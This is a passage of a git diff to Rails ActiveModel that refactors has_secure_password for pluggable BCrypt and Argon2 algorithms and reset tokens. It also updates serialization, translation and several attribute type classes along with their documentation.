+      #     has_secure_password algorithm: :scrypt
+      #   end
+      #
+      def has_secure_password(attribute = :password, validations: true, reset_token: true, algorithm: nil)
+        # Resolve algorithm: can be a Symbol (for registry lookup), an instance, or default to BCrypt
+        algorithm = case algorithm
+        when Symbol
+          algorithm_class = ActiveModel::SecurePassword.lookup_algorithm(algorithm)
+          raise ArgumentError, "Unknown password algorithm: #{algorithm.inspect}" unless algorithm_class
+          algorithm_class.new
+        when nil
+          BCryptPassword.new
+        else
+          algorithm
         end
 
-        include InstanceMethodsOnActivation
+        include InstanceMethodsOnActivation.new(attribute, reset_token: reset_token, algorithm: algorithm)
 
-        if options.fetch(:validations, true)
+        if validations
           include ActiveModel::Validations
 
           # This ensures the model has a password by checking whether the password_digest
@@ -71,57 +214,110 @@ def has_secure_password(options = {})
           # when there is an error, the message is added to the password attribute instead
           # so that the error message will make sense to the end-user.
           validate do |record|
-            record.errors.add(:password, :blank) unless record.password_digest.present?
+            record.errors.add(attribute, :blank) unless record.public_send("#{attribute}_digest").present?
+          end
+
+          validate do |record|
+            if challenge = record.public_send(:"#{attribute}_challenge")
+              digest_was = record.public_send(:"#{attribute}_digest_was") if record.respond_to?(:"#{attribute}_digest_was")
+
+              unless digest_was.present? && algorithm.verify_password(challenge, digest_was)
+                record.errors.add(:"#{attribute}_challenge")
+              end
+            end
+          end
+
+          # Performs password hashing algorithm-specific validations (such as a max input size)
+          validate do |record|
+            algorithm.validate(record, attribute)
           end
 
-          validates_length_of :password, maximum: ActiveModel::SecurePassword::MAX_PASSWORD_LENGTH_ALLOWED
-          validates_confirmation_of :password, allow_blank: true
+          validates_confirmation_of attribute, allow_nil: true
+        end
+
+        # Only generate tokens for records that are capable of doing so (Active Records, not vanilla Active Models)
+        if reset_token && respond_to?(:generates_token_for)
+          reset_token_expires_in = reset_token.is_a?(Hash) ? reset_token[:expires_in] : DEFAULT_RESET_TOKEN_EXPIRES_IN
+
+          silence_redefinition_of_method(:"#{attribute}_reset_token_expires_in")
+          define_method(:"#{attribute}_reset_token_expires_in") { reset_token_expires_in }
+
+          generates_token_for :"#{attribute}_reset", expires_in: reset_token_expires_in do
+            public_send(:"#{attribute}_salt")&.last(10)
+          end
+
+          class_eval <<-RUBY, __FILE__, __LINE__ + 1
+            silence_redefinition_of_method :find_by_#{attribute}_reset_token
+            def self.find_by_#{attribute}_reset_token(token)
+              find_by_token_for(:#{attribute}_reset, token)
+            end
+
+            silence_redefinition_of_method :find_by_#{attribute}_reset_token!
+            def self.find_by_#{attribute}_reset_token!(token)
+              find_by_token_for!(:#{attribute}_reset, token)
+            end
+          RUBY
         end
       end
     end
 
-    module InstanceMethodsOnActivation
-      # Returns +self+ if the password is correct, otherwise +false+.
-      #
-      #   class User < ActiveRecord::Base
-      #     has_secure_password validations: false
-      #   end
-      #
-      #   user = User.new(name: 'david', password: 'mUc3m00RsqyRe')
-      #   user.save
-      #   user.authenticate('notright')      # => false
-      #   user.authenticate('mUc3m00RsqyRe') # => user
-      def authenticate(unencrypted_password)
-        BCrypt::Password.new(password_digest).is_password?(unencrypted_password) && self
-      end
+    class InstanceMethodsOnActivation < Module
+      def initialize(attribute, reset_token:, algorithm:)
+        attr_reader attribute
 
-      attr_reader :password
+        define_method("#{attribute}=") do |unencrypted_password|
+          if unencrypted_password.nil?
+            instance_variable_set("@#{attribute}", nil)
+            self.public_send("#{attribute}_digest=", nil)
+          elsif !unencrypted_password.empty?
+            instance_variable_set("@#{attribute}", unencrypted_password)
+            password_digest = algorithm.hash_password(unencrypted_password)
+            self.public_send("#{attribute}_digest=", password_digest)
+          end
+        end
 
-      # Encrypts the password into the +password_digest+ attribute, only if the
-      # new password is not empty.
-      #
-      #   class User < ActiveRecord::Base
-      #     has_secure_password validations: false
-      #   end
-      #
-      #   user = User.new
-      #   user.password = nil
-      #   user.password_digest # => nil
-      #   user.password = 'mUc3m00RsqyRe'
-      #   user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
-      def password=(unencrypted_password)
-        if unencrypted_password.nil?
-          self.password_digest = nil
-        elsif !unencrypted_password.empty?
-          @password = unencrypted_password
-          cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
-          self.password_digest = BCrypt::Password.create(unencrypted_password, cost: cost)
+        attr_accessor :"#{attribute}_confirmation", :"#{attribute}_challenge"
+
+        # Returns +self+ if the password is correct, otherwise +false+.
+        #
+        #   class User < ActiveRecord::Base
+        #     has_secure_password validations: false
+        #   end
+        #
+        #   user = User.new(name: 'david', password: 'mUc3m00RsqyRe')
+        #   user.save
+        #   user.authenticate_password('notright')      # => false
+        #   user.authenticate_password('mUc3m00RsqyRe') # => user
+        define_method("authenticate_#{attribute}") do |unencrypted_password|
+          attribute_digest = public_send("#{attribute}_digest")
+          attribute_digest.present? && algorithm.verify_password(unencrypted_password, attribute_digest) && self
         end
-      end
 
-      def password_confirmation=(unencrypted_password)
-        @password_confirmation = unencrypted_password
+        # Returns the salt, a small chunk of random data added to the password before it's hashed.
+        define_method("#{attribute}_salt") do
+          attribute_digest = public_send("#{attribute}_digest")
+          attribute_digest.present? ? algorithm.password_salt(attribute_digest) : nil
+        end
+
+        alias_method :authenticate, :authenticate_password if attribute == :password
+
+        if reset_token
+          # Returns the class-level configured reset token for the password.
+          define_method("#{attribute}_reset_token") do
+            generate_token_for(:"#{attribute}_reset")
+          end
+        end
+
+        define_method("#{attribute}_algorithm") do
+          algorithm.algorithm_name
+        end
       end
     end
   end
+
+  # Register built-in password algorithms
+  ActiveModel::SecurePassword.register_algorithm :bcrypt, SecurePassword::BCryptPassword
+  ActiveModel::SecurePassword.register_algorithm :argon2, SecurePassword::Argon2Password
+
+  ActiveSupport.run_load_hooks(:active_model_secure_password, SecurePassword)
 end
diff --git a/activemodel/lib/active_model/secure_password/argon2_password.rb b/activemodel/lib/active_model/secure_password/argon2_password.rb
new file mode 100644
index 0000000000000..56b9d4af719a5
--- /dev/null
+++ b/activemodel/lib/active_model/secure_password/argon2_password.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module SecurePassword
+    class Argon2Password
+      def initialize
+        # Load argon2 gem only when has_secure_password with :argon2 is used.
+        # This is to avoid Active Model (and by extension the entire framework)
+        # being dependent on a binary library.
+        require "argon2"
+      rescue LoadError
+        warn "You don't have argon2 installed in your application. Please add it to your Gemfile and run bundle install."
+        raise
+      end
+
+      # Hashes the unencrypted password using Argon2.
+      def hash_password(unencrypted_password)
+        if ActiveModel::SecurePassword.min_cost
+          ::Argon2::Password.new(profile: :unsafe_cheapest).create(unencrypted_password)
+        else
+          ::Argon2::Password.create(unencrypted_password)
+        end
+      end
+
+      # Verifies if the password matches the digest.
+      def verify_password(password, digest)
+        ::Argon2::Password.verify_password(password, digest)
+      end
+
+      # Generates the salt from the password digest.
+      def password_salt(digest)
+        ::Argon2::HashFormat.new(digest).salt
+      end
+
+      # Validates the password and adds error to the record in the given attribute.
+      # Argon2 has no maximum input size, no validation needed.
+      def validate(_record, _attribute)
+      end
+
+      # Returns the algorithm name.
+      def algorithm_name
+        :argon2
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/secure_password/bcrypt_password.rb b/activemodel/lib/active_model/secure_password/bcrypt_password.rb
new file mode 100644
index 0000000000000..d73136e6725fe
--- /dev/null
+++ b/activemodel/lib/active_model/secure_password/bcrypt_password.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module SecurePassword
+    class BCryptPassword
+      # BCrypt hash function can handle maximum 72 bytes, and if we pass
+      # password of length more than 72 bytes it ignores extra characters.
+      # Hence need to put a restriction on password length.
+      MAX_PASSWORD_LENGTH_ALLOWED = 72 # :nodoc:
+
+      def initialize
+        # Load bcrypt gem only when has_secure_password is used.
+        # This is to avoid Active Model (and by extension the entire framework)
+        # being dependent on a binary library.
+        require "bcrypt"
+      rescue LoadError
+        warn "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install."
+        raise
+      end
+
+      # Hashes the unencrypted password using BCrypt.
+      def hash_password(unencrypted_password)
+        ::BCrypt::Password.create(unencrypted_password, cost: cost)
+      end
+
+      # Verifies if the password matches the digest.
+      def verify_password(password, digest)
+        ::BCrypt::Password.new(digest).is_password?(password)
+      end
+
+      # Generates the salt from the password digest.
+      def password_salt(digest)
+        ::BCrypt::Password.new(digest).salt
+      end
+
+      # Validates the password and adds error to the record in the given attribute.
+      # BCrypt has a maximum input size, so we need to validate it.
+      def validate(record, attribute)
+        password = record.public_send(attribute)
+        if password.present?
+          record.errors.add(attribute, :password_too_long) if password.bytesize > MAX_PASSWORD_LENGTH_ALLOWED
+        end
+      end
+
+      # Returns the algorithm name.
+      def algorithm_name
+        :bcrypt
+      end
+
+      private
+        def cost
+          ActiveModel::SecurePassword.min_cost ? ::BCrypt::Engine::MIN_COST : ::BCrypt::Engine.cost
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index 77834f26fc169..8e2dadd8909f1 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -1,8 +1,9 @@
-require "active_support/core_ext/hash/except"
-require "active_support/core_ext/hash/slice"
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
 
 module ActiveModel
-  # == Active \Model \Serialization
+  # = Active \Model \Serialization
   #
   # Provides a basic serialization to a serializable_hash for your objects.
   #
@@ -28,12 +29,12 @@ module ActiveModel
   # An +attributes+ hash must be defined and should contain any attributes you
   # need to be serialized. Attributes must be strings, not symbols.
   # When called, serializable hash will use instance methods that match the name
-  # of the attributes hash's keys. In order to override this behavior, take a look
-  # at the private method +read_attribute_for_serialization+.
+  # of the attributes hash's keys. In order to override this behavior, override
+  # the +read_attribute_for_serialization+ method.
   #
   # ActiveModel::Serializers::JSON module automatically includes
-  # the <tt>ActiveModel::Serialization</tt> module, so there is no need to
-  # explicitly include <tt>ActiveModel::Serialization</tt>.
+  # the +ActiveModel::Serialization+ module, so there is no need to
+  # explicitly include +ActiveModel::Serialization+.
   #
   # A minimal implementation including JSON would be:
   #
@@ -122,17 +123,17 @@ module Serialization
     #   user.serializable_hash(include: { notes: { only: 'title' }})
     #   # => {"name" => "Napoleon", "notes" => [{"title"=>"Battle of Austerlitz"}]}
     def serializable_hash(options = nil)
-      options ||= {}
+      attribute_names = attribute_names_for_serialization
+
+      return serializable_attributes(attribute_names) if options.blank?
 
-      attribute_names = attributes.keys
       if only = options[:only]
-        attribute_names &= Array(only).map(&:to_s)
+        attribute_names = Array(only).map(&:to_s) & attribute_names
       elsif except = options[:except]
         attribute_names -= Array(except).map(&:to_s)
       end
 
-      hash = {}
-      attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) }
+      hash = serializable_attributes(attribute_names)
 
       Array(options[:methods]).each { |m| hash[m.to_s] = send(m) }
 
@@ -147,25 +148,32 @@ def serializable_hash(options = nil)
       hash
     end
 
+    # Hook method defining how an attribute value should be retrieved for
+    # serialization. By default this is assumed to be an instance named after
+    # the attribute. Override this method in subclasses should you need to
+    # retrieve the value for a given attribute differently:
+    #
+    #   class MyClass
+    #     include ActiveModel::Serialization
+    #
+    #     def initialize(data = {})
+    #       @data = data
+    #     end
+    #
+    #     def read_attribute_for_serialization(key)
+    #       @data[key]
+    #     end
+    #   end
+    alias :read_attribute_for_serialization :send
+
     private
+      def attribute_names_for_serialization
+        attributes.keys
+      end
 
-      # Hook method defining how an attribute value should be retrieved for
-      # serialization. By default this is assumed to be an instance named after
-      # the attribute. Override this method in subclasses should you need to
-      # retrieve the value for a given attribute differently:
-      #
-      #   class MyClass
-      #     include ActiveModel::Serialization
-      #
-      #     def initialize(data = {})
-      #       @data = data
-      #     end
-      #
-      #     def read_attribute_for_serialization(key)
-      #       @data[key]
-      #     end
-      #   end
-      alias :read_attribute_for_serialization :send
+      def serializable_attributes(attribute_names)
+        attribute_names.index_with { |n| read_attribute_for_serialization(n) }
+      end
 
       # Add associations specified via the <tt>:include</tt> option.
       #
@@ -173,11 +181,11 @@ def serializable_hash(options = nil)
       #   +association+ - name of the association
       #   +records+     - the association record(s) to be serialized
       #   +opts+        - options for the association records
-      def serializable_add_includes(options = {}) #:nodoc:
+      def serializable_add_includes(options = {}) # :nodoc:
         return unless includes = options[:include]
 
         unless includes.is_a?(Hash)
-          includes = Hash[Array(includes).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }]
+          includes = Hash[Array(includes).flat_map { |n| n.is_a?(Hash) ? n.to_a : [[n, {}]] }]
         end
 
         includes.each do |association, opts|
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index a9d92eb92a4f3..2879eb2258504 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "active_support/json"
 
 module ActiveModel
   module Serializers
-    # == Active \Model \JSON \Serializer
+    # = Active \Model \JSON \Serializer
     module JSON
       extend ActiveSupport::Concern
       include ActiveModel::Serialization
@@ -10,8 +12,7 @@ module JSON
       included do
         extend ActiveModel::Naming
 
-        class_attribute :include_root_in_json, instance_writer: false
-        self.include_root_in_json = false
+        class_attribute :include_root_in_json, instance_writer: false, default: false
       end
 
       # Returns a hash representing the model. Some configuration can be
@@ -25,13 +26,13 @@ module JSON
       #   user = User.find(1)
       #   user.as_json
       #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
-      #   #     "created_at" => "2006/08/01", "awesome" => true}
+      #   #     "created_at" => "2006-08-01T17:27:133.000Z", "awesome" => true}
       #
       #   ActiveRecord::Base.include_root_in_json = true
       #
       #   user.as_json
       #   # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
-      #   #                  "created_at" => "2006/08/01", "awesome" => true } }
+      #   #                  "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true } }
       #
       # This behavior can also be achieved by setting the <tt>:root</tt> option
       # to +true+ as in:
@@ -39,7 +40,14 @@ module JSON
       #   user = User.find(1)
       #   user.as_json(root: true)
       #   # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
-      #   #                  "created_at" => "2006/08/01", "awesome" => true } }
+      #   #                  "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true } }
+      #
+      # If you prefer, <tt>:root</tt> may also be set to a custom string key instead as in:
+      #
+      #   user = User.find(1)
+      #   user.as_json(root: "author")
+      #   # => { "author" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #                  "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true } }
       #
       # Without any +options+, the returned Hash will include all the model's
       # attributes.
@@ -47,7 +55,7 @@ module JSON
       #   user = User.find(1)
       #   user.as_json
       #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
-      #   #      "created_at" => "2006/08/01", "awesome" => true}
+      #   #      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true}
       #
       # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit
       # the attributes included, and work similar to the +attributes+ method.
@@ -62,14 +70,14 @@ module JSON
       #
       #   user.as_json(methods: :permalink)
       #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
-      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true,
       #   #      "permalink" => "1-konata-izumi" }
       #
       # To include associations use <tt>:include</tt>:
       #
       #   user.as_json(include: :posts)
       #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
-      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true,
       #   #      "posts" => [ { "id" => 1, "author_id" => 1, "title" => "Welcome to the weblog" },
       #   #                   { "id" => 2, "author_id" => 1, "title" => "So I was thinking" } ] }
       #
@@ -80,7 +88,7 @@ module JSON
       #                                             only: :body } },
       #                              only: :title } })
       #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
-      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true,
       #   #      "posts" => [ { "comments" => [ { "body" => "1st post!" }, { "body" => "Second!" } ],
       #   #                     "title" => "Welcome to the weblog" },
       #   #                   { "comments" => [ { "body" => "Don't think too hard" } ],
@@ -92,11 +100,12 @@ def as_json(options = nil)
           include_root_in_json
         end
 
+        hash = serializable_hash(options).as_json
         if root
           root = model_name.element if root == true
-          { root => serializable_hash(options) }
+          { root => hash }
         else
-          serializable_hash(options)
+          hash
         end
       end
 
@@ -137,7 +146,13 @@ def as_json(options = nil)
       def from_json(json, include_root = include_root_in_json)
         hash = ActiveSupport::JSON.decode(json)
         hash = hash.values.first if include_root
-        self.attributes = hash
+
+        if respond_to?(:assign_attributes)
+          assign_attributes(hash)
+        else
+          self.attributes = hash
+        end
+
         self
       end
     end
diff --git a/activemodel/lib/active_model/translation.rb b/activemodel/lib/active_model/translation.rb
index 35fc7cf743a8a..0a913005f8447 100644
--- a/activemodel/lib/active_model/translation.rb
+++ b/activemodel/lib/active_model/translation.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveModel
-  # == Active \Model \Translation
+  # = Active \Model \Translation
   #
-  # Provides integration between your object and the Rails internationalization
+  # Provides integration between your object and the \Rails internationalization
   # (i18n) framework.
   #
   # A minimal implementation could be:
@@ -14,13 +16,15 @@ module ActiveModel
   #   # => "My attribute"
   #
   # This also provides the required class methods for hooking into the
-  # Rails internationalization API, including being able to define a
-  # class based +i18n_scope+ and +lookup_ancestors+ to find translations in
+  # \Rails internationalization API, including being able to define a
+  # class-based +i18n_scope+ and +lookup_ancestors+ to find translations in
   # parent classes.
   module Translation
     include ActiveModel::Naming
 
-    # Returns the +i18n_scope+ for the class. Overwrite if you want custom lookup.
+    singleton_class.attr_accessor :raise_on_missing_translations
+
+    # Returns the +i18n_scope+ for the class. Override if you want custom lookup.
     def i18n_scope
       :activemodel
     end
@@ -33,6 +37,8 @@ def lookup_ancestors
       ancestors.select { |x| x.respond_to?(:model_name) }
     end
 
+    MISSING_TRANSLATION = -(2**60) # :nodoc:
+
     # Transforms attribute names into a more human format, such as "First name"
     # instead of "first_name".
     #
@@ -40,29 +46,44 @@ def lookup_ancestors
     #
     # Specify +options+ with additional translating options.
     def human_attribute_name(attribute, options = {})
-      options   = { count: 1 }.merge!(options)
-      parts     = attribute.to_s.split(".")
-      attribute = parts.pop
-      namespace = parts.join("/") unless parts.empty?
-      attributes_scope = "#{i18n_scope}.attributes"
+      attribute = attribute.to_s
+
+      if attribute.include?(".")
+        namespace, _, attribute = attribute.rpartition(".")
+        namespace.tr!(".", "/")
+
+        if attribute.present?
+          key = "#{namespace}.#{attribute}"
+          separator = "/"
+        else
+          key = namespace
+          separator = "."
+        end
 
-      if namespace
         defaults = lookup_ancestors.map do |klass|
-          :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.#{attribute}"
+          :"#{i18n_scope}.attributes.#{klass.model_name.i18n_key}#{separator}#{key}"
         end
-        defaults << :"#{attributes_scope}.#{namespace}.#{attribute}"
+        defaults << :"#{i18n_scope}.attributes.#{key}"
+        defaults << :"attributes.#{key}"
       else
         defaults = lookup_ancestors.map do |klass|
-          :"#{attributes_scope}.#{klass.model_name.i18n_key}.#{attribute}"
+          :"#{i18n_scope}.attributes.#{klass.model_name.i18n_key}.#{attribute}"
         end
       end
 
+      raise_on_missing = options.fetch(:raise, Translation.raise_on_missing_translations)
+
       defaults << :"attributes.#{attribute}"
-      defaults << options.delete(:default) if options[:default]
-      defaults << attribute.humanize
+      defaults << options[:default] if options[:default]
+      defaults << MISSING_TRANSLATION unless raise_on_missing
 
-      options[:default] = defaults
-      I18n.translate(defaults.shift, options)
+      translation = I18n.translate(defaults.shift, count: 1, raise: raise_on_missing, **options, default: defaults)
+      if translation == MISSING_TRANSLATION
+        translation = attribute.present? ? attribute.humanize : namespace.humanize
+      end
+      translation
     end
   end
+
+  ActiveSupport.run_load_hooks(:active_model_translation, Translation)
 end
diff --git a/activemodel/lib/active_model/type.rb b/activemodel/lib/active_model/type.rb
index b8e6d2376b8e7..97bcc6a5cd1f3 100644
--- a/activemodel/lib/active_model/type.rb
+++ b/activemodel/lib/active_model/type.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "active_model/type/helpers"
+require "active_model/type/serialize_cast_value"
 require "active_model/type/value"
 
 require "active_model/type/big_integer"
@@ -21,22 +24,19 @@ module Type
 
     class << self
       attr_accessor :registry # :nodoc:
-      delegate :add_modifier, to: :registry
 
       # Add a new type to the registry, allowing it to be referenced as a
-      # symbol by ActiveRecord::Attributes::ClassMethods#attribute.  If your
-      # type is only meant to be used with a specific database adapter, you can
-      # do so by passing +adapter: :postgresql+. If your type has the same
-      # name as a native type for the current adapter, an exception will be
-      # raised unless you specify an +:override+ option. +override: true+ will
-      # cause your type to be used instead of the native type. +override:
-      # false+ will cause the native type to be used over yours if one exists.
-      def register(type_name, klass = nil, **options, &block)
-        registry.register(type_name, klass, **options, &block)
+      # symbol by {attribute}[rdoc-ref:Attributes::ClassMethods#attribute].
+      def register(type_name, klass = nil, &block)
+        registry.register(type_name, klass, &block)
+      end
+
+      def lookup(...) # :nodoc:
+        registry.lookup(...)
       end
 
-      def lookup(*args, **kwargs) # :nodoc:
-        registry.lookup(*args, **kwargs)
+      def default_value # :nodoc:
+        @default_value ||= Value.new
       end
     end
 
diff --git a/activemodel/lib/active_model/type/big_integer.rb b/activemodel/lib/active_model/type/big_integer.rb
index 3b629682fe9b7..913fecfdd48a5 100644
--- a/activemodel/lib/active_model/type/big_integer.rb
+++ b/activemodel/lib/active_model/type/big_integer.rb
@@ -1,10 +1,54 @@
+# frozen_string_literal: true
+
 require "active_model/type/integer"
 
 module ActiveModel
   module Type
-    class BigInteger < Integer # :nodoc:
-      private
+    # = Active Model \BigInteger \Type
+    #
+    # Attribute type for integers that can be serialized to an unlimited number
+    # of bytes. This type is registered under the +:big_integer+ key.
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :id, :big_integer
+    #   end
+    #
+    #   person = Person.new
+    #   person.id = "18_000_000_000"
+    #
+    #   person.id # => 18000000000
+    #
+    # All casting and serialization are performed in the same way as the
+    # standard ActiveModel::Type::Integer type.
+    class BigInteger < Integer
+      def serialize(value) # :nodoc:
+        case value
+        when ::Integer
+          # noop
+        when ::String
+          int = value.to_i
+          if int.zero? && value != "0"
+            return if non_numeric_string?(value)
+          end
+          value = int
+        else
+          value = super
+        end
+
+        value
+      end
 
+      def serialize_cast_value(value) # :nodoc:
+        value
+      end
+
+      def serializable?(value, &)
+        true
+      end
+
+      private
         def max_value
           ::Float::INFINITY
         end
diff --git a/activemodel/lib/active_model/type/binary.rb b/activemodel/lib/active_model/type/binary.rb
index 819e4e4a96b94..a5baf23ce8e6e 100644
--- a/activemodel/lib/active_model/type/binary.rb
+++ b/activemodel/lib/active_model/type/binary.rb
@@ -1,6 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
-    class Binary < Value # :nodoc:
+    # = Active Model \Binary \Type
+    #
+    # Attribute type for representation of binary data. This type is registered
+    # under the +:binary+ key.
+    #
+    # Non-string values are coerced to strings using their +to_s+ method.
+    class Binary < Value
       def type
         :binary
       end
@@ -13,7 +21,9 @@ def cast(value)
         if value.is_a?(Data)
           value.to_s
         else
-          super
+          value = super
+          value = value.b if ::String === value && value.encoding != Encoding::BINARY
+          value
         end
       end
 
@@ -29,7 +39,9 @@ def changed_in_place?(raw_old_value, value)
 
       class Data # :nodoc:
         def initialize(value)
-          @value = value.to_s
+          value = value.to_s
+          value = value.b unless value.encoding == Encoding::BINARY
+          @value = value
         end
 
         def to_s
@@ -38,7 +50,7 @@ def to_s
         alias_method :to_str, :to_s
 
         def hex
-          @value.unpack("H*")[0]
+          @value.unpack1("H*")
         end
 
         def ==(other)
diff --git a/activemodel/lib/active_model/type/boolean.rb b/activemodel/lib/active_model/type/boolean.rb
index f2a47370a31af..86650010ece6d 100644
--- a/activemodel/lib/active_model/type/boolean.rb
+++ b/activemodel/lib/active_model/type/boolean.rb
@@ -1,25 +1,42 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
-    # == Active \Model \Type \Boolean
-    #
-    # A class that behaves like a boolean type, including rules for coercion of user input.
+    # = Active Model \Boolean \Type
     #
-    # === Coercion
-    # Values set from user input will first be coerced into the appropriate ruby type.
-    # Coercion behavior is roughly mapped to Ruby's boolean semantics.
+    # A class that behaves like a boolean type, including rules for coercion of
+    # user input.
     #
-    # - "false", "f" , "0", +0+ or any other value in +FALSE_VALUES+ will be coerced to +false+
-    # - Empty strings are coerced to +nil+
-    # - All other values will be coerced to +true+
+    # - <tt>"false"</tt>, <tt>"f"</tt>, <tt>"0"</tt>, +0+ or any other value in
+    #   +FALSE_VALUES+ will be coerced to +false+.
+    # - Empty strings are coerced to +nil+.
+    # - All other values will be coerced to +true+.
     class Boolean < Value
-      FALSE_VALUES = [false, 0, "0", "f", "F", "false", "FALSE", "off", "OFF"].to_set
+      include Helpers::Immutable
+      FALSE_VALUES = [
+        false, 0,
+        "0", :"0",
+        "f", :f,
+        "F", :F,
+        "false", :false,
+        "FALSE", :FALSE,
+        "off", :off,
+        "OFF", :OFF,
+      ].to_set.freeze
 
       def type # :nodoc:
         :boolean
       end
 
-      private
+      def serialize(value) # :nodoc:
+        cast(value)
+      end
 
+      def serialize_cast_value(value) # :nodoc:
+        value
+      end
+
+      private
         def cast_value(value)
           if value == ""
             nil
diff --git a/activemodel/lib/active_model/type/date.rb b/activemodel/lib/active_model/type/date.rb
index 6e313fbca8350..b31166e84cf7a 100644
--- a/activemodel/lib/active_model/type/date.rb
+++ b/activemodel/lib/active_model/type/date.rb
@@ -1,22 +1,42 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
-    class Date < Value # :nodoc:
+    # = Active Model \Date \Type
+    #
+    # Attribute type for date representation. It is registered under the
+    # +:date+ key.
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :birthday, :date
+    #   end
+    #
+    #   person = Person.new
+    #   person.birthday = "1989-07-13"
+    #
+    #   person.birthday.class # => Date
+    #   person.birthday.year  # => 1989
+    #   person.birthday.month # => 7
+    #   person.birthday.day   # => 13
+    #
+    # String values are parsed using the ISO 8601 date format. Any other values
+    # are cast using their +to_date+ method, if it exists.
+    class Date < Value
+      include Helpers::Immutable
+      include Helpers::Timezone
       include Helpers::AcceptsMultiparameterTime.new
 
       def type
         :date
       end
 
-      def serialize(value)
-        cast(value)
-      end
-
       def type_cast_for_schema(value)
-        "'#{value.to_s(:db)}'"
+        value.to_fs(:db).inspect
       end
 
       private
-
         def cast_value(value)
           if value.is_a?(::String)
             return if value.empty?
@@ -36,18 +56,23 @@ def fast_string_to_date(string)
         end
 
         def fallback_string_to_date(string)
-          new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
+          parts = begin
+            ::Date._parse(string, false)
+          rescue ArgumentError
+          end
+
+          new_date(*parts.values_at(:year, :mon, :mday)) if parts
         end
 
         def new_date(year, mon, mday)
-          if year && year != 0
+          unless year.nil? || (year == 0 && mon == 0 && mday == 0)
             ::Date.new(year, mon, mday) rescue nil
           end
         end
 
         def value_from_multiparameter_assignment(*)
           time = super
-          time && time.to_date
+          time && new_date(time.year, time.mon, time.mday)
         end
     end
   end
diff --git a/activemodel/lib/active_model/type/date_time.rb b/activemodel/lib/active_model/type/date_time.rb
index 5cb0077e4525a..aff3bfa746689 100644
--- a/activemodel/lib/active_model/type/date_time.rb
+++ b/activemodel/lib/active_model/type/date_time.rb
@@ -1,17 +1,64 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
-    class DateTime < Value # :nodoc:
-      include Helpers::TimeValue
+    # = Active Model \DateTime \Type
+    #
+    # Attribute type to represent dates and times. It is registered under the
+    # +:datetime+ key.
+    #
+    #   class Event
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :start, :datetime
+    #   end
+    #
+    #   event = Event.new
+    #   event.start = "Wed, 04 Sep 2013 03:00:00 EAT"
+    #
+    #   event.start.class # => Time
+    #   event.start.year  # => 2013
+    #   event.start.month # => 9
+    #   event.start.day   # => 4
+    #   event.start.hour  # => 3
+    #   event.start.min   # => 0
+    #   event.start.sec   # => 0
+    #   event.start.zone  # => "EAT"
+    #
+    # String values are parsed using the ISO 8601 datetime format. Partial
+    # time-only formats are also accepted.
+    #
+    #   event.start = "06:07:08+09:00"
+    #   event.start.utc # => 1999-12-31 21:07:08 UTC
+    #
+    # The degree of sub-second precision can be customized when declaring an
+    # attribute:
+    #
+    #   class Event
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :start, :datetime, precision: 4
+    #   end
+    class DateTime < Value
+      include Helpers::Timezone
       include Helpers::AcceptsMultiparameterTime.new(
         defaults: { 4 => 0, 5 => 0 }
       )
+      include Helpers::TimeValue
 
       def type
         :datetime
       end
 
-      private
+      def mutable? # :nodoc:
+        # Time#zone can be mutated by #utc or #localtime
+        # However when serializing the time zone will always
+        # be coerced and even if the zone was mutated Time instances
+        # remain equal, so we don't need to implement `#changed_in_place?`
+        true
+      end
 
+      private
         def cast_value(value)
           return apply_seconds_precision(value) unless value.is_a?(::String)
           return if value.empty?
@@ -26,16 +73,21 @@ def microseconds(time)
         end
 
         def fallback_string_to_time(string)
-          time_hash = ::Date._parse(string)
+          time_hash = begin
